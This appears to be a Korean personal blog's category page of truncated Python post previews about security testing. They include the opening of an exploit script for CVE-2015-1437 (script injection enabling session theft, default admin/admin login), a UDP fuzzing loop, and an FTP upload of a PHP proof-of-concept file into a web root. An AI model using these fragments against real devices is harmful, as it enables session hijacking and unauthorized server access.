Self-Improvement

1. Basic 방식 # -*- coding: cp949 -*- # CVE : CVE-2015-1437 # Description : # result_of_get_changed_status.asp의 flag 파라미터에서 스크립트 구문이 동작되어 세션 탈취 등을 할 수 있는 취약점 # 실제 기기 대상 ''' ----REQUEST---- ----RESPONSE---- ''' import requests import sys def packet(target, port): try: #Login -- Default admin/admin headers = {'Authorization' : 'Basic YWRtaW46YWRtaW4='} s = requests.Session() url = 'http://'+target+'..

from pwn import * p=remote("192.168.1.7",3702, typ='udp') for i in range(0x99): j=chr(i) p.send(j) import socket import struct from pwn import * p32 = lambda x : struct.pack("

import requests from ftplib import FTP #stablish connection with FTP server host_ip = "127.0.0.1" ftp = FTP() ftp.connect(host=host_ip, port=9000) ftp.login("admin", "admin") data = [] #create PHP poc file poc_php_file = open("poc.php", "w+") poc_php_file.write("") poc_php_file.close() #upload PHP poc file php_file = open("poc.php", "rb") ftp.cwd('/web/public') ftp.storbinary("STOR write_file.ph..

보호되어 있는 글입니다.

1 2 3 import re re.findall(r'deviceId: \'(.*?)\'', resp.text)[0] cs 영문, 숫자, 특수문자들 모두 긁어올 수 있는 것

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from socket import * # Multicast IP, Port MCAST_GRP = '224.0.0.251' MCAST_PORT = 5353 # UDP Socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # on this port, receives ALL multicast groups sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('', MCAST_PORT)) # Host IP Get host = socket.gethostbyname(socke..

코드 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requests s = requests.Session() https_check=Https_Check(target, port,s) url=https_check+"://"+target+":"+port s.get(url, verify=False) def Https_Check(target, port,s): try: resp=s.get('http://%s:%s' %(target,port)) if resp.status_code==400: return 'https' else: return 'http' except requests.exceptions.ConnectionError as e: return 'https' exc..

첫번째 코드 파일과 파일의 내용을 정해서 전송 1 2 3 4 5 import requests #proxies = {"http":"http://127.0.0.1:8080"} requests.post("http://192.168.0.1/test", \ files={"userfile":("pwn.txt",'one,two,zap,zap\none,two,three,Uppercut')}) cs Request 123456789101112131415POST /test HTTP/1.1Host: 192.168.0.1Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.21.0Content-Length: 185Conten..

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import requests import sys ####ssl-warnings InsecureRequestWarning EXCEPT CASE 1 from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) proxies={ 'http':'http://loc..

resp=s.post(url, data=data) print resp.elapsed.total_seconds()